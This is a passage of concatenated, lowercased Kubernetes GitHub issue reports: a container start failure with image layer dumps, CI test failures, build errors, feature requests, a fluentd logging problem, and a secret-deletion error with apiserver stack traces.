layer.rolayer=&{sha256:08bbde2a53d17f2102b39e9bf8028cc12372e6a5931433b7aab1b9f477e4aa4f\r           sha256:a230961ccead56939df93619c345ee02c4b19b47023b5f62a58e2ea114e45046\r           0xc042fce6e0 30a6fd6650a5fd544de8bd9bd0bca9e388a2dc300ce759ed780330938cfed40e\r           40960 0xc042416b90 { 0    } 1 map  }  sha256:775210b8b0f1104519c3ae8a830db69a4f7f01a817a5a4855241331d6492b01b:%!s  layer.rolayer=&{sha256:775210b8b0f1104519c3ae8a830db69a4f7f01a817a5a4855241331d6492b01b\r           sha256:f31a25d232e87babd7edebd9eb6b938714ba058df1f321983ae678d29b01c20e\r           0xc043505180 8e00878e30c74bf02e664c306e6c9849131732b2af7d12a4d346bcbba404f008\r           40960 0xc042416b90 { 0    } 3 map 0xc042004650:{} }  sha256:9bcf8837459d5bc33059faa959da7f60d998b751d352487f5a0b369602a3e85f:%!s  layer.rolayer=&{sha256:9bcf8837459d5bc33059faa959da7f60d998b751d352487f5a0b369602a3e85f\r           sha256:4900fe58200b33b1ef9e2ad1ace0cdf37b037b60d382b350713b8fd428ea8e58\r           0xc0423e2a00 e413cda9a05a7b006845b28a4c41f4c4ba2f8beea22a3f0e018c98912c57d264\r           125778929 0xc042416b90 {application/vnd.docker.image.rootfs.foreign.diff.tar.gzip\r           51441511 sha256:740683e88f17b38857d4e837d33a0d83e3347f72ee2848004232be90d13a5871\r            https://go.microsoft.com/fwlink/?linkid=2019754 } 4 map 0xc0423e01b8:{} } \r           sha256:70bba925263c1c193fa7bc7f79b1aa062707b09fe7774c7896b8aaf091b901a9:%!s  layer.rolayer=&{sha256:70bba925263c1c193fa7bc7f79b1aa062707b09fe7774c7896b8aaf091b901a9\r           sha256:70bba925263c1c193fa7bc7f79b1aa062707b09fe7774c7896b8aaf091b901a9\r           <nil> 04f084cfcd981103e0efc7da2b8c341913d63f36ebcaa537e9cae2899912bdad 3680631597\r           0xc042416b90 {application/vnd.docker.image.rootfs.foreign.diff.tar.gzip\r           1659688273 sha256:d9e8b01179bfc94a5bdb1810fbd76b999aa52016001ace2d3a4c4bc7065a9601\r            https://go.microsoft.com/fwlink/?linkid=873595 } 1 map  }  sha256:362e6dd2f36f6b36fa2ad2444de5cda88404fc825df7e830279285d4a46f7e44:%!s  layer.rolayer=&{sha256:362e6dd2f36f6b36fa2ad2444de5cda88404fc825df7e830279285d4a46f7e44\r           sha256:4aad27ffe05ddb364d2715cc00baba441a051699c674e7809518e60bed56baba\r           0xc0423c8320 467a0c6f208856569189ede5a1b0ccda309a366ea0268e6094e1d42612c3f057\r           40960 0xc042416b90 { 0    } 2 map  }  sha256:45b4a45368fbe4bdb0bab0df0e4a57da6d5f5b3a05dff47188320e820060b959:%!s  layer.rolayer=&{sha256:45b4a45368fbe4bdb0bab0df0e4a57da6d5f5b3a05dff47188320e820060b959\r           sha256:2599c8a2d2640c9317878a84b0b0215fd2dc0a8892bb3c12bc739cd0726df295\r           0xc0423e32c0 c364ba0882969b7abdaffbf9ce1fe7596c555efce2a93fffa367ab86463e58d7\r           40960 0xc042416b90 { 0    } 1 map  }  sha256:dfd793845c780d1c21f0e8f96171ec4996e0762efb8ad687798bdbf16703ed5f:%!s  layer.rolayer=&{sha256:dfd793845c780d1c21f0e8f96171ec4996e0762efb8ad687798bdbf16703ed5f\r           sha256:1f88994b01feb2c01ef56543c691817f2d0c02f87e88fbd6cf461c66918e2c9a\r           0xc0423e2be0 9fba834f8248b5f3c424a768de5711539af373b1f27fc6b2392edbf09dfc9d61\r           321347 0xc042416b90 { 0    } 1 map  }  sha256:6ab8464efb072d4d665bd3dfd51fe431c48aca2078e606c08964a585ea1c96b0:%!s  layer.rolayer=&{sha256:6ab8464efb072d4d665bd3dfd51fe431c48aca2078e606c08964a585ea1c96b0\r           sha256:4f1e4c0af4db0b6f8725cf69a2e5762f6f6181f3d6e67d9940fe88df60c68b24\r           0xc0423e2960 b57b4115e3b10b8e3217e832c9aa5c1f7c72435ecf7b7a112141ba4cec2f0c81\r           121144 0xc042416b90 { 0    } 1 map  }  sha256:565ceddd36c40caa9531b88558a1537f861d8fbc89ca197ca9e01d2d6778ea3a:%!s  layer.rolayer=&{sha256:565ceddd36c40caa9531b88558a1537f861d8fbc89ca197ca9e01d2d6778ea3a\r           sha256:a1978911b469684fc1f8deddf34c6c3b69501455f63c82e7c6bbd9eeeabbb736\r           0xc0423e2820 63da50e94a25053b644d650bb54021b558d6b4f8cbb75e8d17f3c4f0d2d8b0d4\r           40960 0xc042416b90 { 0    } 1 map  }  sha256:5cbf780e3de22366baba7ad4df6658e5861861e8e7cdb67537d953313a28802e:%!s  layer.rolayer=&{sha256:5cbf780e3de22366baba7ad4df6658e5861861e8e7cdb67537d953313a28802e\r           sha256:c4c245f42c7b930fe3d3849836903901a8b4919937cd8b2f354b7c6bba01b1e9\r           0xc0420f75e0 148f55dac608ee55e7ea16b32eb81e3696aea5ca5a0f094b109f9ed638653ce5\r           40960 0xc042416b90 { 0    } 1 map  }  sha256:7bdb1647c57ef9b505cfe4cf4db6197dcc54be9ae9ca2f386f13f4a269994d6d:%!s  layer.rolayer=&{sha256:7bdb1647c57ef9b505cfe4cf4db6197dcc54be9ae9ca2f386f13f4a269994d6d\r           sha256:e5d3c749e69da41ecd1616fc50682a42abf161d6069053de18cb9bf3d9e86396\r           0xc042918820 370fe2c9914edebd5e0f57979fbc14d5a590d7a6cf2f23818ff14ef7ac2277d1\r           40960 0xc042416b90 { 0    } 1 map  }  sha256:2fd515a50daad8fcdf380da8bc1240d6e2d0087c2ab8e063b794d524d92b2e11:%!s  layer.rolayer=&{sha256:2fd515a50daad8fcdf380da8bc1240d6e2d0087c2ab8e063b794d524d92b2e11\r           sha256:50d5431947ca1e7da804bded011fbcf5bdfad4c7bb6468052b2d9ea720dcdd6d\r           0xc0420f6f00 32e4303001f36f749ac683ec7809bb15e420b431f919040b98fca5bfcae1d408\r           321347 0xc042416b90 { 0    } 1 map  }  sha256:dd4ef5ecdc62da0de272a0dba869a62ca4a18f4f4ffc84064c9324482728d3e5:%!s  layer.rolayer=&{sha256:dd4ef5ecdc62da0de272a0dba869a62ca4a18f4f4ffc84064c9324482728d3e5\r           sha256:933c1a98fd6aa28aef63065bf597b76f15779a5c6f7753871daf5b6021594f42\r           0xc0423c8460 da6df51a8f9c84aa2af2736c3a33cba0ee47f7e84d399dd829c2cdc8ea473a0f\r           40960 0xc042416b90 { 0    } 2 map 0xc0423e0738:{} }  sha256:0d69bcfd6509e97e49ae8f05a4bed45f50fbfa9a1ebf882d8bd8029a6cacc230:%!s  layer.rolayer=&{sha256:0d69bcfd6509e97e49ae8f05a4bed45f50fbfa9a1ebf882d8bd8029a6cacc230\r           sha256:d0416d4281df18e70b917d72dedb6c1d4a80c8d8d17498a5b36745b063fb75fb\r           0xc0423e2dc0 c9aafffee72bbc22cd61a7e8a492dd15d7d251e65a31455b8333bb1aab26c1c8\r           40960 0xc042416b90 { 0    } 2 map  }  sha256:6b4c7fb863a6bde75cf4be296784621d748030cf6cb27a9976821e2a2832019b:%!s  layer.rolayer=&{sha256:6b4c7fb863a6bde75cf4be296784621d748030cf6cb27a9976821e2a2832019b\r           sha256:8d045aef5697ebed94feaf0bcffe3af25fdb6ccbf6c87823ea45ff8706f4dcb6\r           0xc0423e2d20 8df3af11982c721b2a65df182d718d92bd1a06bb8e43998354f1f24b56fbb29e\r           40960 0xc042416b90 { 0    } 1 map  }  sha256:679fd8ef63145171848de65a13deb11527e4bd994de907a8421c232e1de97a43:%!s  layer.rolayer=&{sha256:679fd8ef63145171848de65a13deb11527e4bd994de907a8421c232e1de97a43\r           sha256:dad72f943dba95359f16754ef201749fd5a82c2f830976dfdb58d178306d7d35\r           0xc0423e3220 0d45d9ea0a0773f5345d33620d59594cba42509138f054fe8f93bff5799696ca\r           14152356 0xc042416b90 { 0    } 1 map  }  sha256:ceddc508962704f0105b78791d43c741ca60e6d7753a878fc45722aa7a605664:%!s  layer.rolayer=&{sha256:ceddc508962704f0105b78791d43c741ca60e6d7753a878fc45722aa7a605664\r           sha256:7001d36ad1e3513e9e217c1493e0c70c2a033c8ea33453d01bc802c4cf5c7e4e\r           0xc0420426e0 11acfb3c810500fddd91b85a180c0a02cf23bc8c09ea1d9fe2dbb752f12bb234\r           40960 0xc042416b90 { 0    } 1 map 0xc0423e0148:{} }  sha256:5be0d6492fb22a5afbfa129aa966aa6c85aec070095e141967cc0c9dd8b51655:%!s  layer.rolayer=&{sha256:5be0d6492fb22a5afbfa129aa966aa6c85aec070095e141967cc0c9dd8b51655\r           sha256:8c2ee1587b74bbeaa2303dbc68362e1bf0f5eefadf648352742ca93068629ceb\r           0xc0423e2d20 a9adb6aa5a8037858004efe3654349b5ea5c6f7816897ec7244187d8e20bb184\r           40960 0xc042416b90 { 0    } 1 map  }  sha256:24380c059977bac959ef46fce4156078c60e572c88cf4fe744463b58a73716ca:%!s  layer.rolayer=&{sha256:24380c059977bac959ef46fce4156078c60e572c88cf4fe744463b58a73716ca\r           sha256:681cafdfdf3949542f8ace39ca3966509c2e075af6f1de2d92225e5882fa5f02\r           0xc042189a40 325da41973a48f6846795b88977ca7397c7ac78b3d5479a7370bc83658903fe6\r           321347 0xc042416b90 { 0    } 1 map  }  sha256:31ef2d6b90ce0a3d6fc1b91ce645494e0148aff5235db381ea061bbeb869636f:%!s  layer.rolayer=&{sha256:31ef2d6b90ce0a3d6fc1b91ce645494e0148aff5235db381ea061bbeb869636f\r           sha256:e5c344250a0c11becae6a475660c6fe8fc9472548d7c05e602f3c9e8be4c50bf\r           0xc042941f40 d15beeed1508967d512e2088512054938915628efd93c8854fb2fa0edd566fa8\r           40960 0xc042416b90 { 0    } 1 map  }  sha256:0758b35453ce72ce472d3e923b51adc46d43e24ce2937007317fb656bb1a1fda:%!s  layer.rolayer=&{sha256:0758b35453ce72ce472d3e923b51adc46d43e24ce2937007317fb656bb1a1fda\r           sha256:4aa9cbb58376a0f3467b3f95fc1ad9c59cc99f8b14cefe858527cfb4c0a88601\r           0xc0423e2960 70079c8b76e2d6a27a60f1843964567893da21de6a75e96bc9061e261abfd423\r           142972551 0xc042416b90 { 0    } 1 map  }  sha256:b730a49afa79e649414b68a931eca9a2ad4fde07ff301716217d7b5a55728d89:%!s  layer.rolayer=&{sha256:b730a49afa79e649414b68a931eca9a2ad4fde07ff301716217d7b5a55728d89\r           sha256:5e67e96d5be82a531dcfc9f6e6ceef2aee1255a3a68b4c05d8bd0d0095f5cf50\r           0xc0423e2f00 a57e606d86ed13a9cd7743818d328fc22002c4a07e3616165d60962dd024fd2f\r           40960 0xc042416b90 { 0    } 1 map  }  sha256:08fd99735c13dac3451489f9e3063da4d4bfb74236e35a8d1f0b42c8459cb998:%!s  layer.rolayer=&{sha256:08fd99735c13dac3451489f9e3063da4d4bfb74236e35a8d1f0b42c8459cb998\r           sha256:8331ee202c788aa6467f720b5ef445e5ff25e01ae22a3bb49f3c3e52405c283a\r           0xc0423e2c80 2e26ce8c8ab156ba9ef11669e1cb200814a4d1d24c7402132afeb67bf572d03b\r           40960 0xc042416b90 { 0    } 1 map  }  sha256:1b7d78c4019a05207cee4bbb1c229fff5d693d34ad09e33e14cfd003a9c981bc:%!s  layer.rolayer=&{sha256:1b7d78c4019a05207cee4bbb1c229fff5d693d34ad09e33e14cfd003a9c981bc\r           sha256:6cdd279c512059cfecfee85135c6cd16edce0f59f9dcb50c288ce50017851c87\r           0xc0423c8320 4e695c3534c4b9f5de65f9a94569d993d6d6471efe92e3e2168e01f3f9996f39\r           40960 0xc042416b90 { 0    } 2 map  }  sha256:4559c423c61166c9d14348c0b5f1d4e113ec38c27fe97edf6df921f6967acbce:%!s  layer.rolayer=&{sha256:4559c423c61166c9d14348c0b5f1d4e113ec38c27fe97edf6df921f6967acbce\r           sha256:28da5e919d5c9b5168adc6ae95a02cf0d6b791e25f374fcb642737ceb2d1b150\r           0xc0423e3e00 5a12ecfbfd52b4dfc21973d631505292f8e4648ba1194cc3017d9bc335387bc9\r           67898368 0xc042416b90 { 0    } 1 map  }  sha256:de227a99fc80ab21021069d7c33a72aa7fd7984d33787d718789005f3dd75177:%!s  layer.rolayer=&{sha256:de227a99fc80ab21021069d7c33a72aa7fd7984d33787d718789005f3dd75177\r           sha256:8f6f5e71d746779b81010e3b7097e4c783e4468b4eb1714e44f1cd57b6ca6161\r           0\r         reason: containercannotrun\r         startedat: 2018-10-12t17:05:13z\r     name: powerflowclient\r \r   what you expected to happen  :\r \r reliable container start.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r deploy my image under 1.12-rc2.   this is a new failure mode with this version of kubernetes for me\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-rc.2\ , gitcommit:\ 5a80e28431c7469d677c5b17277266d1da4e5c8d\ , gittreestate:\ clean\ , builddate:\ 2018-09-21t21:52:36z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r \r deployed via acs-engine 0.22.4\r - os  e.g. from /etc/os-release :  windows 1803\r \r  \r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r    master-upgrade gce-new-master-upgrade-cluster-new  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new \r \r   which test s  are failing  :\r      sig-cluster-lifecycle   disruptive nodelease nodelease deletion node lease should be deleted when corresponding node is deleted   https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new/2041 \r \r   since when has it been failing  :\r since 1/31 at 23:14. see  k/k diff  https://github.com/kubernetes/kubernetes/compare/fae2376b6...8ddfd4bc3  and  k/test-infra diff  https://github.com/kubernetes/test-infra/compare/e62114bdc...0ed3e3400 .\r \r   testgrid link  :\r    https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new \r \r   reason for failure  :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/lifecycle/node_lease.go:98\r timed out after 60.000s.\r expected\r     < errors.errorstring | 0xc003144320>: {\r         s: \ some node lease is not ready\ ,\r     }\r to be nil\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/lifecycle/node_lease.go:119\r    \r \r cc @mortent @kacole2 @mariantalla @smourapina\r \r  

observed odd flakyness when watching ingresses from the controller scoped to a namespace. need to get to the bottom of it, but i suspect it's a bug higher up in the stack. for now it isn't that important because the controller watches all namespaces.

federation: hack/update-codegen.sh fails to generate  - import_known_versions.go - namespace_expansion.go - fake_namespace_expansion.go

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-proto/822/  failed:  k8s.io  downward api volume should provide node allocatable  memory  as default memory limit if the limit is not set  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/downwardapi_volume.go:188 expected error:     < errors.errorstring | 0xc420e9ad60>: {         s: \ failed to get logs from downwardapi-volume-17b0d9cf-b4cf-11e6-887d-0242ac110006 for client-container: an error on the server  \\\ unknown\\\   has prevented the request from succeeding  get pods downwardapi-volume-17b0d9cf-b4cf-11e6-887d-0242ac110006 \ ,     }     failed to get logs from downwardapi-volume-17b0d9cf-b4cf-11e6-887d-0242ac110006 for client-container: an error on the server  \ unknown\   has prevented the request from succeeding  get pods downwardapi-volume-17b0d9cf-b4cf-11e6-887d-0242ac110006  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2169

\r i0628 18:33:54.041    k8s.io/kubernetes/pkg/kubelet/cm\r i0628 18:33:54.041  pkg/kubelet/cm/container_manager_unsupported.go:33: cannot use unsupportedcontainermanager literal  type  unsupportedcontainermanager  as type containermanager in assignment:\r i0628 18:33:54.042  \t unsupportedcontainermanager does not implement containermanager  missing getcapacity method \r i0628 18:33:54.042  pkg/kubelet/cm/container_manager_unsupported.go:72: cannot use unsupportedcontainermanager literal  type  unsupportedcontainermanager  as type containermanager in return argument:\r i0628 18:33:54.042  \t unsupportedcontainermanager does not implement containermanager  missing getcapacity method \r    \r it was introduced by https://github.com/kubernetes/kubernetes/pull/48123/files\r \r cc/ @msau42 \r

 \r defaultstorageclass admission plugin expects that there is only one default storageclass defined and it refuses to work when there are more of them. the admission plugin should be extended to check newly created/updated storageclassses and forbid creation of two default ones.\r \r cc @kubernetes/sig-storage-bugs \r /assign

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r if i want to enable the federation control panel, then i need to use  kubefed init  to install etcd and control panel. for etcd, as the kubernetes already have etcd running, so i want to re-use the existing etcd in my kubernetes cluster and do not want to install a new etcd for federation only.\r \r   what you expected to happen  :\r i can specify external etcd when using  kubefed init .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  \r /cc @kubernetes/sig-federation-feature-requests \r

failure cluster  401aef29d43e16d527de  https://go.k8s.io/triage 401aef29d43e16d527de        error text:     error during ./cluster/kubectl.sh --match-server-version=false version: exit status 1           failure cluster statistics: 2 tests failed,    36 jobs failed,    227 builds failed. failure stats cover 1 day time range '7 sep 2017 10:43 utc' to '8 sep 2017 10:43 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | check apireachability | 36 | | kubectl version | 12 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-gci-1-5-cvm-1-7-upgrade-cluster | 12 |  8 sep 2017 09:25 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-5-cvm-1-7-upgrade-cluster/901  | | ci-kubernetes-e2e-gke-1-5-1-6-cvm-kubectl-skew | 12 |  8 sep 2017 09:26 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-1-5-1-6-cvm-kubectl-skew/898  | | ci-kubernetes-e2e-gke-cvm-1-5-gci-1-7-upgrade-cluster | 11 |  8 sep 2017 08:56 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-gci-1-7-upgrade-cluster/894  |   current status  https://go.k8s.io/triage 401aef29d43e16d527de

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r @kubernetes/sig-node-proposals \r \r when instantiating a new kubelet object, there is a no-op for  --container-runtime=remote .\r \r https://github.com/kubernetes/kubernetes/blob/ea66c00522e0ac5171a6656fda0601b600856528/pkg/kubelet/kubelet.go l642-l646\r \r actually such remote runtime has already been incorporated in  kubetypes.dockercontainerruntime . there is no need to keep it.\r \r another usage of  kubetypes.remotecontainerruntime  is \r \r https://github.com/kubernetes/kubernetes/blob/ea66c00522e0ac5171a6656fda0601b600856528/pkg/security/apparmor/validate.go l114-l117\r \r   what you expected to happen  :\r \r i think it's safe to deprecate  kubetypes.remotecontainerruntime .

\r   bug report  \r \r i have an application deployed on kubernetes on gke,\r  stackdriver logging  is enabled on my cluster\r fluntd-gcp image on my cluster  by default :\r  gcr.io/google-containers/fluentd-gcp:2.0.9 \r \r my logs  were all ok, seen in stackdriver,\r but since a few days ago logs from one deployment  lets call it  my-app     stopped arriving in stackdriver\r even though  they are logged from my app :\r \r  kubectl logs -f my-app-3270987706-cx0r2  --namespace=production \r \r     {\ time\ :\ 2018-01-30 16:11:13.155\ ,\ msg\ :\ ignoring xml\ }\r     {\ time\ :\ 2018-01-30 16:11:14.155\ ,\ msg\ :\ success blabla\ }\r \r \r \r i see the following logs from  fluentd :\r \r \r     2018-01-30 16:11:46 +0000  warn : emit transaction failed: \r     error_class=errno::enoent error=\ no such file or directory @ sys_fail2 -\r       /var/log/fluentd-buffers/kubernetes.system.buffer..b563203c1da7cb5e1.log, /var/log/fluentd-\r     buffers/kubernetes.system.buffer..q563203c1da7cb5e1.log \  tag=\ docker\ \r \r ----\r \r     2018-01-30 16:11:46 +0000  warn : suppressed same stacktrace\r \r -----\r \r     2018-01-30 16:11:46 +0000  error : exception emitting record: \r     no such file or directory @ sys_fail2 - \r      /var/log/fluentd-buffers/kubernetes.system.buffer..b563203c1da7cb5e1.log,\r      /var/log/fluentd-buffers/kubernetes.system.buffer..q563203c1da7cb5e1.log \r \r \r why logs arent shipped to stackdriver? how can i fix it? \r \r \r   environment  :\r - kubernetes version: v1.7.11-gke.1 \r - cloud provider: gke\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r i incorrectly created a secret that i wanted to delete and recreate. when i tried to delete the secret:\r   it does not show up in 'kubectl get secrets --all-namespaces'\r   i cannot delete it due to the error: error from server  internalerror : internal error occurred: invalid padding on input\r \r   what you expected to happen  :\r the secret should have been deleted\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r core@corea-controller0 ~ $ ./kubectl delete secret kubernetes-dashboard-certs -n kube-system\r error from server  internalerror : internal error occurred: invalid padding on input\r \r   anything else we need to know?  :\r \r   environment  : coreos beta channel vms running on ubuntu libvirt host.\r - kubernetes version  use  kubectl version  :\r core@corea-controller0 ~ $ ./kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-beta.0\ , gitcommit:\ 79b15896576b7cd8f40d952f5e8307d29a21ac28\ , gittreestate:\ clean\ , builddate:\ 2018-02-14t19:41:03z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-beta.0\ , gitcommit:\ 79b15896576b7cd8f40d952f5e8307d29a21ac28\ , gittreestate:\ clean\ , builddate:\ 2018-02-14t19:08:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: see environment\r - os  e.g. from /etc/os-release :\r name=\ container linux by coreos\ \r id=coreos\r version=1662.2.0\r version_id=1662.2.0\r build_id=2018-02-14-0430\r pretty_name=\ container linux by coreos 1662.2.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r \r - kernel  e.g.  uname -a  :\r core@corea-controller0 ~ $ uname -a\r linux corea-controller0.obfuscated.domain.net 4.14.19-coreos  1 smp wed feb 14 04:08:06 utc 2018 x86_64 intel core processor  haswell, no tsx  genuineintel gnu/linux\r - install tools:\r - others:\r \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : i0224 03:31:01.195440   21582 wrap.go:42  delete /api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs:  3.120934ms  500\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : goroutine 523445  running :\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .recordstatus 0xc42a382000, 0x1f4 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:207 +0xdd\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .writeheader 0xc42a382000, 0x1f4 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:186 +0x35\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  basetimeoutwriter .writeheader 0xc42951b1e0, 0x1f4 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:188 +0xac\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.  responsewriterdelegator .writeheader 0xc4240973b0, 0x1f4 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:281 +0x45\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.serializeobject 0x3c6bd37, 0x10, 0x7f1747428008, 0xc4251d9f00, 0x92dd180, 0xc4222ad568, 0xc4293f5300, 0x1f4, 0x92c4600, 0xc4224e26c0 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:95 +0x8d\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.writeobjectnegotiated 0x7f174721b748, 0xc424097b30, 0x92dfc00, 0xc420925ce0, 0x0, 0x0, 0x3c52ada, 0x2, 0x92dd180, 0xc4222ad568, ... \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:123 +0x32b\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.errornegotiated 0x7f174721b748, 0xc424097b30, 0x92b2680, 0xc4224e2630, 0x92dfc00, 0xc420925ce0, 0x0, 0x0, 0x3c52ada, 0x2, ... \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:142 +0x163\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.  requestscope .err 0xc4247d2c80, 0x92b2680, 0xc4224e2630, 0x92dd180, 0xc4222ad568, 0xc4293f5300 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:67 +0x10c\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.deleteresource.func1 0x92dd180, 0xc4222ad568, 0xc4293f5300 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/delete.go:122 +0x845\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints.restfuldeleteresource.func1 0xc424097320, 0xc424c9d140 \r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/installer.go:1091 +0xc5\r feb 24 03:31:01 corea-controller0.obfuscated.domain.net kube-apiserver 21582 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.instrumentroutefunc.func1 0xc424097320, 